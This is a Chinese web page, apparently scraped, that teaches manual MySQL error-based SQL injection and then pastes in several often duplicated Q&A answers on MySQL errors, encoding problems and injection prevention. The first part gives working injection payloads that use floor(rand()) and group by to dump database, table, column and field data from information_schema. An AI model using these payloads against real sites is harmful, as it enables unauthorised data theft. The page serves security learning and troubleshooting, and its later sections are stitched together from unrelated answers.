热门搜索 :
考研考公
您的当前位置:首页正文

mysql报错注入手工方法

2023-11-11 来源:东饰资讯网

(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

我们在这个语句中其实已经可以看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是我们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。

注意的是,我们一般手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每个项目。

但是要注意这里的遍历方式需要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式

 

搞清楚了语句的公式,剩下的注入过程就跟我们普通的注入很像了,只需要调整语句对应的结构即可:

汇总如下:

1、暴数据库:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

2、暴数据表:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

3、暴列名:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

4、暴字段:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了

 

参考文章:

http://www.jianshu.com/p/8c2343705100

https://www.waitalone.cn/mysql-error-based-injection.html

mysql报错注入手工方法

标签:依次   code   错误   htm   group   table   字段   orm   十六进制   

小编还为您整理了以下内容,可能对您也有帮助:

什么是mysql注入

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理。

以下实例中,输入的用户名必须为字母、数字及下划线的组合,且用户名长度为 8 到 20 个字符之间:

if (preg_match("/^w{8,20}$/", $_GET['username'], $matches)){

  $result = mysqli_query($conn, "SELECT * FROM users

                         WHERE username=$matches[0]");}

else {

  echo "username 输入异常";}

让我们看下在没有过滤特殊字符时,出现的SQL情况:

// 设定$name 中插入了我们不需要的SQL语句$name = "Qadir'; DELETE FROM users;";

mysqli_query($conn, "SELECT * FROM users WHERE name='{$name}'");

以上的注入语句中,我们没有对 $name 的变量进行过滤,$name 中插入了我们不需要的SQL语句,将删除 users 表中的所有数据。

在PHP中的 mysqli_query() 是不允许执行多个 SQL 语句的,但是在 SQLite 和 PostgreSQL 是可以同时执行多条SQL语句的,所以我们对这些用户的数据需要进行严格的验证。

防止SQL注入,我们需要注意以下几个要点:

1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或长度;对单引号和 双"-"进行转换等。2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

mySQL的报错解决

1.Starting MySQL.Manager of pid-file quit without updating fi[失败]
关于这个错误原因有很多,最大的可能是没有创建测试数据库,可以用/usr/local/mysql/scripts/mysql_install_db –user=mysql命令进行创建;另外一个原因可能是权限设置问题,需要赋予mysql的data权限,可以用chmod -R 命令。
2.FATAL ERROR: Could not find /home/mysql/bin/my_print_defaults If you are using a binary release,you must run this script from
within the directory the archive extracted into. If you compiled
MySQL yourself you must run ‘make install’ first.
这个错误,是没有指明mysql的data路径导致的,可以很简单的进行解决:
vim /etc/my.cnf
在[mysqld] 后面加上路径:
basedir = /usr/local/mysql
datadir =/opt/data;
3.-bash: mysql: command not found
用mysql命令进行登陆mysql报错,原因是没有设置环境变量,需要设置,或者进入到bin目录进行登陆cd /usr/local/mysql/bin
mysql -u root
4.ERROR 1130: Host ’192.168.1.3′ is not allowed to connect to this MySQL server
用mysql远程工具链接数据库报错,这个错误原因是没有开放远程链接功能,可以在mysql里面输入如下命令进行解决:GRANT ALL PRIVILEGES ON *.* TO ’root‘@’%' IDENTIFIED BY ’password’ WITH GRANT OPTION

mySQL的报错解决

1.Starting MySQL.Manager of pid-file quit without updating fi[失败]
关于这个错误原因有很多,最大的可能是没有创建测试数据库,可以用/usr/local/mysql/scripts/mysql_install_db –user=mysql命令进行创建;另外一个原因可能是权限设置问题,需要赋予mysql的data权限,可以用chmod -R 命令。
2.FATAL ERROR: Could not find /home/mysql/bin/my_print_defaults If you are using a binary release,you must run this script from
within the directory the archive extracted into. If you compiled
MySQL yourself you must run ‘make install’ first.
这个错误,是没有指明mysql的data路径导致的,可以很简单的进行解决:
vim /etc/my.cnf
在[mysqld] 后面加上路径:
basedir = /usr/local/mysql
datadir =/opt/data;
3.-bash: mysql: command not found
用mysql命令进行登陆mysql报错,原因是没有设置环境变量,需要设置,或者进入到bin目录进行登陆cd /usr/local/mysql/bin
mysql -u root
4.ERROR 1130: Host ’192.168.1.3′ is not allowed to connect to this MySQL server
用mysql远程工具链接数据库报错,这个错误原因是没有开放远程链接功能,可以在mysql里面输入如下命令进行解决:GRANT ALL PRIVILEGES ON *.* TO ’root‘@’%' IDENTIFIED BY ’password’ WITH GRANT OPTION

mysql数据显示乱码,数据插入报错怎么办?

MYSQL导入数据时出现乱码的解决办法:

首先在mysql的操作工具中新建同名数据库,编码utf-8新建数据库时一定要注意生成原数据库相同的编码形式,

方法一: 通过修改mysql安装文件中my.ini中参数 –default-character-set = utf8 解决乱码问题

[mysql]default-character-set=utf8

方法二: 在命令行导入乱码解决

1、use database_name;

2、set names utf8; (或其他需要的编码)

3、source example.sql (sql文件存放路径)

方法三: 直接粘贴sql文件里的代码(建议使用,我就是这么实现的)

1、打开SQLyog客户端软件;

2、定位到SQL编辑器,然后用记事本打开刚刚导出的SQL文件;

3、复制文件中所有SQL语句到SQL编辑器当中,执行这些SQL代码;

方法四: 用记事本或其他文本工具改变SQL文件的编码格式(若方法三不行,那就尝试方法四)

1、用记事本(或UE)打开刚才的导出的SQL文件;

2、另存此文件——打开另存为对话框,选择对话框中的编码格式为UNICODE编码;

3、保存文件,然后CTRL+A,全选;

4、复制里面的SQL语句到SQLyog中的“SQL编码器”当中,再执行一次SQL语句;

5、执行完成后刷新数据库

更多相关免费学习推荐:mysql教程(视频)

mysql数据显示乱码,数据插入报错怎么办?

MYSQL导入数据时出现乱码的解决办法:

首先在mysql的操作工具中新建同名数据库,编码utf-8新建数据库时一定要注意生成原数据库相同的编码形式,

方法一: 通过修改mysql安装文件中my.ini中参数 –default-character-set = utf8 解决乱码问题

[mysql]default-character-set=utf8

方法二: 在命令行导入乱码解决

1、use database_name;

2、set names utf8; (或其他需要的编码)

3、source example.sql (sql文件存放路径)

方法三: 直接粘贴sql文件里的代码(建议使用,我就是这么实现的)

1、打开SQLyog客户端软件;

2、定位到SQL编辑器,然后用记事本打开刚刚导出的SQL文件;

3、复制文件中所有SQL语句到SQL编辑器当中,执行这些SQL代码;

方法四: 用记事本或其他文本工具改变SQL文件的编码格式(若方法三不行,那就尝试方法四)

1、用记事本(或UE)打开刚才的导出的SQL文件;

2、另存此文件——打开另存为对话框,选择对话框中的编码格式为UNICODE编码;

3、保存文件,然后CTRL+A,全选;

4、复制里面的SQL语句到SQLyog中的“SQL编码器”当中,再执行一次SQL语句;

5、执行完成后刷新数据库

更多相关免费学习推荐:mysql教程(视频)

MYSQL报错怎么处理?

1、原因:可能是/usr/local/mysql/mysql.pid文件没有写的权限;

解决方法 :给予权限,执行 “chmod 775 /usr/local/mysql/ -R” 然后重新启动mysqld。

2、原因:可能进程里已经存在mysql进程;

解决方法:用命令“ps -ef|grep mysqld”查看是否有mysqld进程,如果有使用“kill -9 进程号”杀死,然后重新启动mysqld。

3、原因:可能是第二次在机器上安装mysql,有残余数据影响了服务的启动;

解决方法:去mysql的数据目录/data看看,如果存在mysql-bin.index,就赶快把它删除掉吧,它就是罪魁祸首了。

4、原因:mysql在启动时没有指定配置文件时会使用/etc/my.cnf配置文件,请打开这个文件查看在[mysqld]节下有没有指定数据目录(datadir);

解决方法:请在[mysqld]下设置这一行:datadir = /usr/local/mysql/data。

5、原因:skip-federated字段问题;

解决方法:检查一下/etc/my.cnf文件中有没有没被注释掉的skip-federated字段,如果有就立即注释掉吧。

6、原因:错误日志目录不存在;

解决方法:使用“chown” “chmod”命令赋予mysql所有者及权限。

7、原因:如果是centos系统,默认会开启selinux;

解决方法:关闭它,打开/etc/selinux/config,把SELINUX=enforcing改为SELINUX=disabled后存盘退出重启机器试试。

8、原因:log-bin路径错误;

解决方法:查看对应数据库下的error log,例如我的数据库为,/usr/local/mysql/var目录,其下的localhost.localdomain.err为错误日志,只要把其下的ib_logfile*删除即可,重启mysql即可。

一、Linux下MySQL的启动与停止

1、Mysql启动、停止、重启常用命令

a、启动方式

(1)使用 service 启动:

[root@localhost /]# service mysqld start (5.0版本是mysqld)

[root@szxdb etc]# service mysql start (5.5.7版本是mysql)

(2)使用 mysqld 脚本启动:

/etc/inint.d/mysqld start

(3)使用 safe_mysqld 启动:

safe_mysqld&

b、停止方式

(1)使用 service 启动:service mysqld stop

(2)使用 mysqld 脚本启动:/etc/inint.d/mysqld stop

(3)mysqladmin shutdown

c、重启方式

(1)使用 service 启动:

service mysqld restart

service mysql restart (5.5.7版本命令)

(2)使用 mysqld 脚本启动:

/etc/init.d/mysqld restart

Mysql数据库插入数据库报错, ERROR 1366 (HY000): Incorrect string value: '\xBE\xEA' for column 'name

“ERROR 1366 (HY000): Incorrect string value: 'xBExEA' for column 'name”,此问题的原因:配置文件错误。

解决的方法和操作步骤如下:

1、首先,右键单击开始图标,然后在菜单上选择“运行”选项,如下图所示,然后进入下一步。

2、其次,完成上述步骤后,在输入框中输入“cmd”命令,然后单击“确定”按钮,如下图所示,然后进入下一步。

3、接着,完成上述步骤后,输入“mysql -uroot -p+密码”,如下图所示,然后进入下一步。

4、然后,完成上述步骤后,连接成功,输入如下红框中的内容,然后进入下一步。

5、随后,完成上述步骤后,查找配置文件所在的地址,如下图所示,然后进入下一步。

6、最后,完成上述步骤后,打开mysql.ini文件,将默认字符集修改为“utf8”,因为MYSQL版本不同,配置文件中的内容也不相同,只需要修改字符集设置并将其修改为utf8即可,如下图所示。这样,问题就解决了。

Top